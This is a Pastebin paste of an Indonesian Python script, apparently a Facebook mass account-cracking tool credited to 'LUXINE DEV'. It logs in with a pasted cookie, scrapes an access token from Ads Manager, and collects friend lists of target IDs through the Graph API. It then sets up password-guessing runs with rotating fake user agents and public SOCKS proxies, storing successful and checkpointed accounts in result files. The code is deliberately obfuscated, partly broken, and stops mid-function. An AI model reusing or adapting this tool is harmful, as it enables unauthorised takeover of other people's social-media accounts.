OBF-XIn

116.206.9.27-/sdcard/Private.py.py

Jan 26th, 2023
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 56.21 KB | None | 0 0
  1. ### RECODE BY LUXINE DEV ###
  2. import requests,bs4,json,os,sys,random,datetime,time,re
  3. import urllib3,rich,base64
  4. from rich.tree import Tree
  5. from rich import print as cetak
  6. from rich.table import Table as me
  7. from rich.console import Console as sol
  8. from bs4 import BeautifulSoup as sop
  9. from rich.progress import Progress,BarColumn,TextColumn,TimeElapsedColumn
  10. from rich.progress import SpinnerColumn
  11. from concurrent.futures import ThreadPoolExecutor as tred
  12. from rich.panel import Panel as nel
  13. from rich import print as ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___
  14. from rich.columns import Columns as col
  15. from rich import print as prints
  16. from rich import pretty
  17. from rich.text import Text as tekz
  18. from rich.panel import Panel
  19. from rich.panel import Panel as flame
  20. from rich.console import Console
  21. from rich.columns import Columns
  22. from bs4 import BeautifulSoup as parse
  23. from rich.panel import Panel
  24. from rich.console import Console
  25. from rich.tree import Tree
  26. from rich.console import Console
  27. from rich.columns import Columns
  28. ###----------[ WARNA PRINT RICH ]---------- ###
  29. M2 = "[#FF0000]" # MERAH
  30. H2 = "[#00FF00]" # HIJAU
  31. K2 = "[#FFFF00]" # KUNING
  32. B2 = "[#00C8FF]" # BIRU
  33. P2 = "[#FFFFFF]" # PUTIH
  34. try:
  35.     file_color = open("data/theme_color","r").read()
  36.     color_text = file_color.split("|")[0]
  37.     color_panel = file_color.split("|")[1]
  38. except:
  39.     color_text = "[#00C8FF]"
  40.     colorbapa = random.choice([H2,K2,M2,B2,P2])
  41.     color_panel = "#00C8FF"
  42. pretty.install()
  43. CON=sol()
  44. ugen2=[]
  45. ugen=[]
  46. proxxy=[]
  47. cokbrut=[]
  48. ses=requests.Session()
  49. princp=[]
  50.  
  51. for xd in range(10000):
  52.     a='Mozilla/5.0 (Symbian/3; Series60/5.2'
  53.     b=random.randrange(1, 9)
  54.     c=random.randrange(1, 9)
  55.     d='NokiaN8-00/012.002;'
  56.     e=random.randrange(100, 9999)
  57.     f='Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/'
  58.     g=random.randrange(1, 9)
  59.     h=random.randrange(1, 4)
  60.     i=random.randrange(1, 4)
  61.     j=random.randrange(1, 4)
  62.     k='7.3.0 Mobile Safari/533.4 3gpp-gba'
  63.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  64.     ugen2.append(uaku)
  65.     ###----------[ User Agent Linux ]---------- ###
  66.     aa='Mozilla/5.0 (Linux; U; Android 6.0;'
  67.     b=random.choice(['6','7','8','9','10','11','12'])
  68.     c='ru-ru; 5080X Build/MRA58K)'
  69.     d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  70.     e=random.randrange(1, 999)
  71.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  72.     g='AppleWebKit/537.36 (KHTML%2C like Gecko) Version/4.0'
  73.     h=random.randrange(73,100)
  74.     i='0'
  75.     j=random.randrange(4200,4900)
  76.     k=random.randrange(40,150)
  77.     l='Mobile Safari/537.36'
  78.     uaku2=f'{aa} {b} {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
  79.     ugen.append(uaku2)
  80. for x in range(1000):
  81.     rr = random.randint
  82.     rc = random.choice
  83.     satu = f"Mozilla/5.0 (Linux; Android 12; CPH2127 Build/RKQ1.{str(rr(211111,299999))}.001) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} Mobile Safari/537.36"
  84.     dua  = f"Mozilla/5.0 (Linux; Android {str(rr(7,12))}; RMX3195 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36"
  85.     tiga  = f"Mozilla/5.0 (Linux; Android 9; vivo 1904 Build/PPR1.{str(rr(111111,199999))}.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(73,99))}.0.{str(rr(4500,4900))}.{str(rr(75,150))} Mobile Safari/537.36 wkbrowser 5.0.17 {str(rr(2111111,2999999))} js 5.1.1 newfocus lng=ru"
  86.     empat  = f"Mozilla/5.0 (Linux; Android 9{str(rr(7,12))}; RMX1811) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36"
  87.     lima  = f"Mozilla/5.0 (Linux; Android 12{str(rr(7,12))}; IN2013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{str(rr(75,150))}.0.{str(rr(5111,5999))}.{str(rr(73,99))} Mobile Safari/537.36"
  88.     UserAgentss = str(rc([satu,dua,tiga,empat,lima]))
  89.     ugen.append(UserAgentss)
  90. try:
  91.     url_proxy = random.choice([
  92.               "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt",
  93. ])
  94. except:pass
  95.    
  96. #------------------[ PROXIES ]-------------------#
  97. try:
  98.     url = requests.get(f"{url_proxy}").text
  99.     for ikfar in url.splitlines():proxxy.append(ikfar)
  100. except requests.exceptions.ConnectionError:
  101.    prints(nel(f"{P2}Anda Tidak Terhubung Ke Internet, Silahkan Periksa Koneksi Internet Anda",width=80,padding=(0,2),style=f"{color_panel}"));exit()
  102.  
  103. cokbrut=[]
  104. pwpluss,pwnya=[],[]
  105. loop = 0
  106. ok = 0
  107. cp = 0
  108. id = []
  109. id2 = []
  110. akun = []
  111. oprek = []
  112. method = []
  113. tokenku = []
  114. uid = []
  115. cokbrut = []
  116. dump = []
  117. uadia, uadarimu = [], []
  118. ugent= []
  119. pwlist, pwlis = [], []
  120. pwpluss, pwnya = [], []
  121. ugent = []
  122. uasm, uaMainXD, prox = [], [], []
  123. P = '\x1b[1;97m'
  124. M = '\x1b[1;91m'
  125. H = '\x1b[1;92m'
  126. K = '\x1b[1;93m'
  127. B = '\x1b[1;94m'
  128. kocak = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  129. tgl_kocak = datetime.datetime.now().day
  130. bln_kocak = kocak[(str(datetime.datetime.now().month))]
  131. thn_kocak = datetime.datetime.now().year
  132. ok_kocak = 'OK-'+str(tgl_kocak)+'-'+str(bln_kocak)+'-'+str(thn_kocak)+'.txt'
  133. cp_kocak = 'CP-'+str(tgl_kocak)+'-'+str(bln_kocak)+'-'+str(thn_kocak)+'.txt'
  134. def tahun(fx):
  135.     if len(fx)==15:
  136.         if fx[:10] in ['1000000000']       :tahun = '2009'
  137.         elif fx[:9] in ['100000000']       :tahun = '2009'
  138.         elif fx[:8] in ['10000000']        :tahun = '2009'
  139.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahun = '2009'
  140.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahun = '2010'
  141.         elif fx[:6] in ['100001']          :tahun = '2010/2011'
  142.         elif fx[:6] in ['100002','100003'] :tahun = '2011/2012'
  143.         elif fx[:6] in ['100004']          :tahun = '2012/2013'
  144.         elif fx[:6] in ['100005','100006'] :tahun = '2013/2014'
  145.         elif fx[:6] in ['100007','100008'] :tahun = '2014/2015'
  146.         elif fx[:6] in ['100009']          :tahun = '2015'
  147.         elif fx[:5] in ['10001']           :tahun = '2015/2016'
  148.         elif fx[:5] in ['10002']           :tahun = '2016/2017'
  149.         elif fx[:5] in ['10003']           :tahun = '2018'
  150.         elif fx[:5] in ['10004']           :tahun = '2019'
  151.         elif fx[:5] in ['10005']           :tahun = '2020'
  152.         elif fx[:5] in ['10006','10007','10008']:tahun = '2021/2022'
  153.         else:tahun=''
  154.     elif len(fx) in [9,10]:
  155.         tahun = '2008/2009'
  156.     elif len(fx)==8:
  157.         tahun = '2007/2008'
  158.     elif len(fx)==7:
  159.         tahun = '2006/2007'
  160.     else:tahun=''
  161.     return tahun
  162. ##----------[ GET DATA DARI DEVICE ]---------- ###
  163. #android_version = subprocess.#check_output("getprop ro.build.version.release",shell=True).decode("utf-8").replace("\n","")
  164. #try:simcard = subprocess.check_output("getprop gsm.operator.alpha",shell=True).decode("utf-8").split(",")[1].replace("\n","")
  165. #except:simcard = subprocess.check_output("getprop gsm.operator.alpha",shell=True).decode("utf-8").split(",")[0].replace("\n","")
  166. #versi_app = str(random.randint(111111111,999999999))
  167.  
  168. ###----------[ GENERATE USERAGENT ]---------- ###
  169. def ua_krek():
  170.         rr = random.randint
  171.         model = random.choice(['RMX3286','RMX3491'])
  172.     #    ua = (f"Mozilla/5.0 (Linux; U; Android {str(rr(9,12))}; ru-ru; Redmi K20 Pro Premium Edition Build/QKQ1.{str(rr(111111,199999))}.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{str(rr(71,99))}.0.{str(rr(3500,3900))}.{str(rr(140,150))} Mobile Safari/537.36 XiaoMi/MiuiBrowser/12.5.2-go")
  173.     #ua = ("AppleCoreMedia/1.0.0.20D47 (iPhone; U; CPU OS 16_3 like Mac OS X; it_ch)")
  174.         ua = (f"Dalvik/2.1.0 (Linux; U; Android {str(rr(9,13))}; Vision3 Build/MRA58K) [FBAN/MessengerLite;FBAV/{str(rr(40,375))}.309.0.0.8.61;FBPN/com.facebook.mlite;FBLC/en_GB;FBBV/434647565;FBCR/AXIS;FBMF/Vision;FBBD/Vision;FBDV/Vision3;FBSV/{str(rr(9,13))};FBCA/arm64-v8a:null;FBDM/"+"{density=2.54375,width=720,height=1600};]")
  175.         return ua
  176.  
  177. def ua_crack():
  178.         az = "A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"
  179.         smart = str(random.randint(8, 12))
  180.         chrome3 = str(random.randint(100, 300))
  181.         chrome4 = str(random.randint(1000, 9000))
  182.         builx = f"{random.choice(az)}{random.choice(az)}{random.choice(az)}{random.randint(10, 90)}{random.choice(az)}"
  183.         chrome6 = str(random.randint(100000, 900000))
  184.         #ngentod = "Mozilla/5.0 (Linux; Android "+smart+"; Redmi Note 7 Build/QKQ1."+chrome6+"."+chrome3+"; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0."+chrome4+"."+chrome3+" Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/227.0.0.5.115;]"
  185.         ngentod = f"Mozilla/5.0 (Linux; Android {str(random.randint(2,8))}.{str(random.randint(1,9))}.{str(random.randint(1,9))}; SM-G950F Build/{builx}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{chrome4}.{chrome3} Mobile Safari/537.36 GNews Android/2022111642"
  186.         #ngentod = f"Mozilla/5.0 (Linux; Android  {str(random.randint(2,8))}.{str(random.randint(1,9))}.{str(random.randint(1,9))}; Micromax E484 Build/{builx}; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/46.0.{chrome4}.{chrome3} Mobile Safari/537.36[FBAN/EMA;FBLC/en_US;FBAV/332.0.0.23.{chrome3};]"
  187.         return ngentod
  188. def ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___jalan(u):
  189.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
  190.        
  191. def jalan(keliling):
  192.     for mau in keliling + '\n':
  193.         sys.stdout.write(mau)
  194.         sys.stdout.flush();sleep(0.03)
  195.        
  196. def ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___meledak():
  197.     token = open('.token.txt','r').read()
  198.     cok = open('.cok.txt','r').read()
  199. def clear():
  200.     os.system('clear')
  201. def back():
  202.     login()
  203.    
  204. def none():
  205.     clear()
  206. #   prints(nel(f"""\t {cor""",width=80,style=f"{color_panel}"))
  207. def info():
  208.     ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___(f"""
  209. ╔╦╗╦═╗╦╔═╗  ═╗ ╦
  210. ║ ╠╦╝║╠═╝  ╔╩╦╝
  211. ╩ ╩╚═╩╩    ╩ ╚═""")
  212.    
  213. def banner():
  214.     clear()
  215.     tree= Tree(f" ")
  216.     tree.add(Panel.fit(f"\r[bold green]SCRIPT MULTI 4XMBF BY LUXINE-DEV"))
  217. #   cetak(tree)        
  218. def login():
  219.     os.system('clear')
  220.     ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___jalan(f'-> [ add dulu wa gw siapa tau bisa bertemen>< ]')
  221.     os.system('xdg-open http://wa.me/6289669084331?text=bang+gw+pake+sc+trip x+lu')
  222.     try:
  223.         ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___meledak()
  224.         token = open('.token.txt','r').read()
  225.         cok = open('.cok.txt','r').read()
  226.         tokenku.append(token)
  227.         try:
  228.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  229.             ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___eed = json.loads(sy.text)['name']
  230.             ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___idnihbos = json.loads(sy.text)['id']
  231.             menu(____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___eed,____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___idnihbos)
  232.         except KeyError:
  233.             ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawox()
  234.         except requests.exceptions.ConnectionError:
  235.             ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawok___(f'error konek')
  236.             exit()
  237.     except IOError:
  238.         ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawox()
  239. def ____________daripada_______kita______tawuran______mending____pulang____ke_____panti_____asuhan_______dari____pada_____lu_____sok_____coding______mending________td_____sini_____ke______no____gw____awokawokawox():
  240.     try:
  241.         os.system('clear')
  242.         banner()
  243.         info()
  244.         ses = requests.Session()
  245.         cookie = input(f'[?]LOGIN COOKIE : ')
  246.         cookies = {'cookie':cookie}
  247.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  248.         req = ses.get(url,cookies=cookies)
  249.         set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
  250.         nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
  251.         roq = ses.get(nek,cookies=cookies)
  252.         tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
  253.         tokenw = open(".token.txt", "w").write(tok)
  254.         cokiew = open(".cok.txt", "w").write(cookie)
  255.         ketx = input('[ENTER UNTUK KE MENU]')
  256.         login()
  257.     except Exception as e:
  258.         os.system("rm -f .token.txt")
  259.         os.system("rm -f .cok.txt")
  260.         exit()
  261. def __________luxine_____dev____nihbos_bot():
  262.     token = open('.token.txt','r').read()
  263.     cok = open('.cok.txt','r').read()
  264. def menu(namaku,idmu):
  265.     __________luxine_____dev____nihbos = print
  266.     try:
  267.         __________luxine_____dev____nihbos_bot()
  268.     except IOError:
  269.         time.sleep(5)
  270.         login()
  271.     os.system('clear')
  272.     banner()
  273.     info()
  274.     print('')
  275.     print(f' [01] Crack Dari Daftar Temen')
  276.     print(' [00] kembali')
  277.     #__________luxine_____dev____nihbos(f'{P} [1] craking daftar temen')
  278.     #__________luxine_____dev____nihbos(f'{P} [2] cracking file')
  279. #   __________luxine_____dev____nihbos(f' [3] crack akun cp')
  280. #   __________luxine_____dev____nihbos(' [0] keluar/exit')
  281.     __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos = input(f' [{M}#{P}] Menu Crack : ')
  282.     print('===========================')
  283.     if __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in ['1']:
  284.         sae()
  285.     elif __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in ['2s']:
  286.         crack_filze()
  287.     elif __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in ['3s']:
  288.         file_cp()
  289.     elif __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in ['0','00']:
  290.         os.system('rm -rf .token.txt')
  291.         os.system('rm -rf .cok.txt')
  292.         exit()
  293.     else:
  294.         login()
  295. def sae():
  296.     print(f'> ketik {H}y {P}untuk crack massal ketik {H}t{P} untuk publik')
  297.     __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos = input(f'{P}[{M}?{P}] apakah anda ingin crack massal? y/t : ')
  298.     print('===========================')
  299.     if __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in['y','Y']:
  300.         __________luxine_____dev____nihbosmassal()
  301.     elif __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos in['t','T']:
  302.         __________luxine_____dev____nihbospublik()
  303.     else:
  304.         __________luxine_____dev____nihbospublik()
  305. def __________luxine_____dev____nihbospublik():
  306.     __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos = print
  307.     try:
  308.         token = open('.token.txt','r').read()
  309.         kukis = open('.cok.txt','r').read()
  310.     except IOError:
  311.         exit()
  312.     pil = input(f'{P}[{M}#{P}] ID : ')
  313.     try:
  314.         koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  315.         for pi in koh2['friends']['data']:
  316.             try:id.append(pi['id']+'|'+pi['name'])
  317.             except:continue
  318.         __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos('')
  319.         setting()
  320.     except requests.exceptions.ConnectionError:
  321.         exit()
  322.     except (KeyError,IOError):
  323.         __________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos(f'temen tidak publik cuy atau cookie lu mokad diango')
  324.         exit()
  325.  
  326. def __________luxine_____dev____nihbosmassal():
  327.     try:
  328.         token = open('.token.txt','r').read()
  329.         cok = open('.cok.txt','r').read()
  330.     except IOError:
  331.         exit()
  332.     try:
  333.         jum = int(input(f' [•] ingin berapa target publik :  '))
  334.     except ValueError:
  335.         exit()
  336.     if jum<1 or jum>100:
  337.         exit()
  338.     ses=requests.Session()
  339.     yz = 0
  340.     for met in range(jum):
  341.         yz+=1
  342.         kl = input('[?] USER ID'+str(yz)+' : ')
  343.         uid.append(kl)
  344.     for userr in uid:
  345.         try:
  346.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  347.             for mi in col['friends']['data']:
  348.                 try:
  349.                     iso = (mi['id']+'|'+mi['name'])
  350.                     if iso in id:pass
  351.                     else:id.append(iso)
  352.                 except:continue
  353.         except (KeyError,IOError):
  354.             pass
  355.         except requests.exceptions.ConnectionError:
  356.             print('╰─ unstable signal ')
  357.             exit()
  358.     try:
  359.         print('')
  360.     #   print(f' Total Id Collected {h}'+str(len(id)))
  361.         setting()
  362.     except requests.exceptions.ConnectionError:
  363.         print(f'{x}')
  364.         print('╰─ unstable signal ')
  365.         back()
  366.     except (KeyError,IOError):
  367.         print(f'╰─{k} Friendship Not Public {x}')
  368.         time.sleep(3)
  369.         back()
  370.        
  371. def result():
  372.     print('╰─ 1. Hasil CP Anda ')
  373.     print('╰─ 2. Hasil OK Anda ')
  374.     print('╰─ 0. Kembali    ')
  375.     kz = input('\n╰─ Chouse : ')
  376.     print('')
  377.     if kz in ['1','01']:
  378.         try:vin = os.listdir('CP')
  379.         except FileNotFoundError:
  380.             print('╰─ File Tidak Di Temukan ')
  381.             time.sleep(3)
  382.             back()
  383.         if len(vin)==0:
  384.             print('╰─ Anda Tidak Memiliki Hasil CP ')
  385.             time.sleep(2)
  386.             back()
  387.         else:
  388.             cih = 0
  389.             lol = {}
  390.             for isi in vin:
  391.                 try:hem = open('CP/'+isi,'r').readlines()
  392.                 except:continue
  393.                 cih+=1
  394.                 if cih<10:
  395.                     nom = ''+str(cih)
  396.                     lol.update({str(cih):str(isi)})
  397.                     lol.update({nom:str(isi)})
  398.                     print(''+nom+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
  399.                 else:
  400.                     lol.update({str(cih):str(isi)})
  401.                     print(''+str(cih)+'. '+isi+'\033[31m '+str(len(hem))+' \033[0mcekpoint '+x)
  402.             geeh = input('\n╰─ Chouse : ')
  403.             print('')
  404.             try:geh = lol[geeh]
  405.             except KeyError:
  406.                 print('╰─ Pilih Yang Bener Kontol ')
  407.                 exit()
  408.             try:lin = open('CP/'+geh,'r').read().splitlines()
  409.             except:
  410.                 print('╰─ File Tidak Di Temukan ')
  411.                 time.sleep(2)
  412.                 back()
  413.             nocp=0
  414.             for cpku in range(len(lin)):
  415.                 cpkuni=lin[nocp].split('|')
  416.                 print(f'╰─CP\033[33m {cpkuni[0]}|{cpkuni[1]}\033[0m')
  417.                 nocp +=1
  418.             input('\n╰─ Back Enter ')
  419.             back()
  420.     elif kz in ['2','02']:
  421.         try:vin = os.listdir('OK')
  422.         except FileNotFoundError:
  423.             print('╰─ File Tidak Di Temukan ')
  424.             time.sleep(2)
  425.             back()
  426.         if len(vin)==0:
  427.             print('╰─ Anda Tidak Mempunyai File OK ')
  428.             time.sleep(2)
  429.             back()
  430.         else:
  431.             cih = 0
  432.             lol = {}
  433.             for isi in vin:
  434.                 try:hem = open('OK/'+isi,'r').readlines()
  435.                 except:continue
  436.                 cih+=1
  437.                 if cih<100:
  438.                     nom = ''+str(cih)
  439.                     lol.update({str(cih):str(isi)})
  440.                     lol.update({nom:str(isi)})
  441.                     print(''+nom+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
  442.                 else:
  443.                     lol.update({str(cih):str(isi)})
  444.                     print(''+str(cih)+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
  445.             geeh = input('\n╰─ Chouse : ')
  446.             try:geh = lol[geeh]
  447.             except KeyError:
  448.                 print('╰─ Pilih Yang Bener Kontol ')
  449.                 exit()
  450.             try:lin = open('OK/'+geh,'r').read().splitlines()
  451.             except:
  452.                 print('╰─ File Tidak Di Temukan ')
  453.                 time.sleep(2)
  454.                 back()
  455.             nocp=0
  456.             for cpku in range(len(lin)):
  457.                 cpkuni=lin[nocp].split('|')
  458.                 print(f'\n╰─OK\033[32m {cpkuni[0]}|{cpkuni[1]}|\033[32m{cpkuni[2]}\033[0m')
  459.                 nocp +=1
  460.             input('\n╰─ Back Enter ')
  461.             back()
  462.     elif kz in ['0','00']:
  463.         back()
  464.     else:
  465.         print('╰─ Pilih Yang Bener Kontol ')
  466.         exit()
  467.  
  468. def crack_file():
  469.     try:vin = os.listdir('DUMP')
  470.     except FileNotFoundError:
  471.         print('╰─ File Tidak Ditemukan ')
  472.         time.sleep(2)
  473.         back()
  474.     if len(vin)==0:
  475.         print('╰─ Kamu Tidak Memiliki File Dump ')
  476.         time.sleep(2)
  477.         back()
  478.     else:
  479.         cih = 0
  480.         lol = {}
  481.         for isi in vin:
  482.             try:hem = open('DUMP/'+isi,'r').readlines()
  483.             except:continue
  484.             cih+=1
  485.             if cih<100:
  486.                 nom = ''+str(cih)
  487.                 lol.update({str(cih):str(isi)})
  488.                 lol.update({nom:str(isi)})
  489.                 print(f' %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
  490.             else:
  491.                 lol.update({str(cih):str(isi)})
  492.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  493.                 print('╰─ %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
  494.         geeh = input('\n╰─ Chouse : ')
  495.         print('')
  496.         try:geh = lol[geeh]
  497.         except KeyError:
  498.             print(f'╰─{k} Pilih Yang Bener Kontol {x}')
  499.             time.sleep(3)
  500.             back()
  501.         try:lin = open('DUMP/'+geh,'r').read().splitlines()
  502.         except:
  503.             print('╰─ File Tidak Ditemukan, Coba Lagi Nanti ')
  504.             time.sleep(2)
  505.             back()
  506.         for xid in lin:
  507.             id.append(xid)
  508.         setting()
  509.  
  510. def setting():
  511.     print('===========================')
  512.     #__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos
  513.     print('')
  514.     #__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos(
  515.     print(' [01] Crack Old ')
  516.     #__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos__________luxine_____dev____nihbos(
  517.     print(' [02] Crack Muda')
  518.     print(' [03] Crack Random')
  519.     print('===========================')
  520.     hu = input(f' [{M}?{P}] ID CRACK :  ')
  521.     print('===========================')
  522.     if hu in ['1','01']:
  523.         for tua in sorted(id):
  524.             id2.append(tua)
  525.            
  526.     elif hu in ['2','02']:
  527.         muda=[]
  528.         for bacot in sorted(id):
  529.             muda.append(bacot)
  530.         bcm=len(muda)
  531.         bcmi=(bcm-1)
  532.         for xmud in range(bcm):
  533.             id2.append(muda[bcmi])
  534.             bcmi -=1
  535.     elif hu in ['3','03']:
  536.         for bacot in id:
  537.             xx = random.randint(0,len(id2))
  538.             id2.insert(xx,bacot)
  539.     else:
  540.         exit()
  541.         print('')
  542.     print(f' [01] Akun pakistan')
  543.     print(' [02] Akun india')
  544.     print(' [03] Akun Indonesia')
  545.     print(' [04] Random Negara')
  546.     print('===========================')
  547.     negara = input(f' [{M}?{P}] Negara Akun : ')
  548.     print('===========================')
  549.     print('>  METODE B-API')
  550.     print(f' [01] METHOD (fast)')
  551.     print(f' [02] METHOD (best)')
  552.     print(f' [03] METHOD (fast)')
  553.     print('===========================')
  554.     print('> METODE VALIDATE')
  555.     print(f' [04] METHOD (best)')
  556.     print(f' [05] METHOD (best)')
  557.     print('> METODE REGULER')
  558.     print('===========================')
  559.     print(' [06] METHOD (very slow)')
  560.     print(' [07] METHOD (slow)')
  561.     print('===========================')
  562.     hc = input(f' [{M}?{P}] Metode : ')
  563.     print('===========================')
  564.     if hc in ['1','01']:
  565.         method.append('mobile')
  566.     else:
  567.         method.append('mobile')
  568.     su()
  569. def su():
  570.     print('')
  571.     print('> cth bandung,kota,saya')
  572.     masok = input(f' {P}[{M}•{P}] Input Sandi : ')
  573.     ua = input(f" {P}[{M}•{P}] tambahkan ua y/t : ")
  574.     if ua in ['y','Ya','ya','Y']:
  575.         uadarimu.append('uadia');bz = input(f" [?] Masukan UA : ");uadia.append(bz)
  576.         babi()
  577. #   elif ua in ['t','T']:
  578.     else:pass
  579.     uadarimu.append('uasc')
  580.     babi()
  581.     print('===========================')
  582.     ch = input('[•] Pilih  : ')
  583.     if ch in ['1','01']:
  584.         babi()
  585.     elif ch in ['2','02']:
  586.         sulap()
  587.     elif ch in ['3','03']:
  588.         passu()
  589.     elif ch in ['4','04']:
  590.         mie()
  591.     else:
  592.         passu()
  593. def mie():
  594.     global prog,des
  595.     print('')
  596.     print(f'OK{x} Save in : {h}OK/%s {x}'%(okc))
